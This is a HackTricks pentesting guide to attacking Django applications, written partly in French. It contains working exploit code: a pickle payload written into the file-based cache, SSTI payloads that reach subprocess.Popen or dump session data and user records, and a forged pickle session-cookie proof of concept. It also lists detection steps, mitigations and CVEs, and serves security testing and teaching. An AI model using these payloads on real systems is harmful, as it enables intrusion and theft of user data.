Django
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Manipulation du cache pour RCE
Django’s default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.
Django cache is stored in one of four places: Redis, memory, files, or a database. Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It’s important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
Ce rapport HackerOne fournit un excellent exemple reproductible d’exploitation du cache Django stocké dans une base de données SQLite: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.
Détection
- Recherchez des appels dynamiques à
Template()/Engine.from_string()/render_to_string()qui incluent toute donnée de requête non assainie. - Envoyez une payload basée sur le temps ou arithmétique :
{{7*7}}
Si la sortie rendue contient 49, l’entrée est compilée par le moteur de template.
3. DTL n’est pas Jinja2 : les payloads arithmétiques/boucles provoquent régulièrement TemplateSyntaxError/500 tout en prouvant l’évaluation. Les polyglots comme ${{<%[%'"}}% sont de bonnes sondes “crash-or-render”.
Context exfiltration when RCE is blocked
Même si le parcours d’objets jusqu’à subprocess.Popen échoue, DTL expose toujours les objets accessibles dans la portée :
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
QuerySet.values() convertit les lignes en dictionnaires, contournant __str__ et exposant tous les champs retournés par le queryset. Cela fonctionne même lorsque l’exécution directe de Python est filtrée.
Patron d’automatisation : s’authentifier, récupérer le CSRF token, enregistrer un payload préfixé par un marqueur dans un champ persistant (p.ex. nom d’utilisateur/bio du profil), puis requêter une view qui le rend (les endpoints AJAX comme /likes/<id> sont courants). Parser un attribut stable (p.ex. title="...") pour récupérer le résultat rendu et itérer les payloads.
Primitif vers RCE
Django bloque l’accès direct à __import__, mais le graphe d’objets Python est accessible :
{{''.__class__.mro()[1].__subclasses__()}}
Trouvez l’index de subprocess.Popen (≈400–500 selon la build Python) et exécutez des commandes arbitraires :
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Un gadget universel plus sûr consiste à itérer jusqu’à ce que cls.__name__ == 'Popen'.
Le même gadget fonctionne pour les fonctionnalités de rendu de templates de Debug Toolbar ou Django-CMS qui gèrent mal l’entrée utilisateur.
Voir aussi : ReportLab/xhtml2pdf PDF export RCE
Les applications construites sur Django intègrent souvent xhtml2pdf/ReportLab pour exporter des vues en PDF. Lorsque du HTML contrôlé par l’utilisateur est envoyé dans la génération PDF, rl_safe_eval peut évaluer des expressions à l’intérieur de triple crochets [[[ ... ]]], permettant l’exécution de code (CVE-2023-33733). Détails, payloads et mesures d’atténuation :
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
Pickle-Backed Session Cookie RCE
Si le réglage SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' est activé (ou si un serializer personnalisé désérialise du pickle), Django déchiffre et désérialise (unpickle) le cookie de session avant d’appeler tout code de view. Par conséquent, posséder une clé de signature valide (le projet SECRET_KEY par défaut) suffit pour une exécution de code à distance immédiate.
Exploit Requirements
- Le serveur utilise
PickleSerializer. - L’attaquant connaît / peut deviner
settings.SECRET_KEY(leaks via GitHub,.env, pages d’erreur, etc.).
Preuve de concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Envoyez le cookie résultant, et le payload s’exécute avec les permissions du WSGI worker.
Atténuations: Gardez le JSONSerializer par défaut, renouvelez SECRET_KEY et configurez SESSION_COOKIE_HTTPONLY.
CVE Django récents (2023-2025) à fort impact que les Pentesters devraient vérifier
- CVE-2025-48432 – Log Injection via unescaped
request.path(corrigé le 4 juin 2025). Permet aux attaquants d’introduire des sauts de ligne / codes ANSI dans les fichiers de logs et d’empoisonner l’analyse des logs en aval. Niveau de correctif ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()onJSONField(CVSS 9.8). Construisez des clés JSON pour contourner la délimitation des guillemets et exécuter des requêtes SQL arbitraires. Corrigé dans 4.2.15 / 5.0.8.
Effectuez toujours un fingerprint de la version exacte du framework via la page d’erreur X-Frame-Options ou le hash de /static/admin/css/base.css et testez les éléments ci-dessus lorsque applicable.
Références
- Publication de sécurité Django – “Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432” – 4 juin 2025.
- OP-Innovate: “Django releases security updates to address SQL injection flaw CVE-2024-42005” – 11 août 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
- Documentation Django – QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


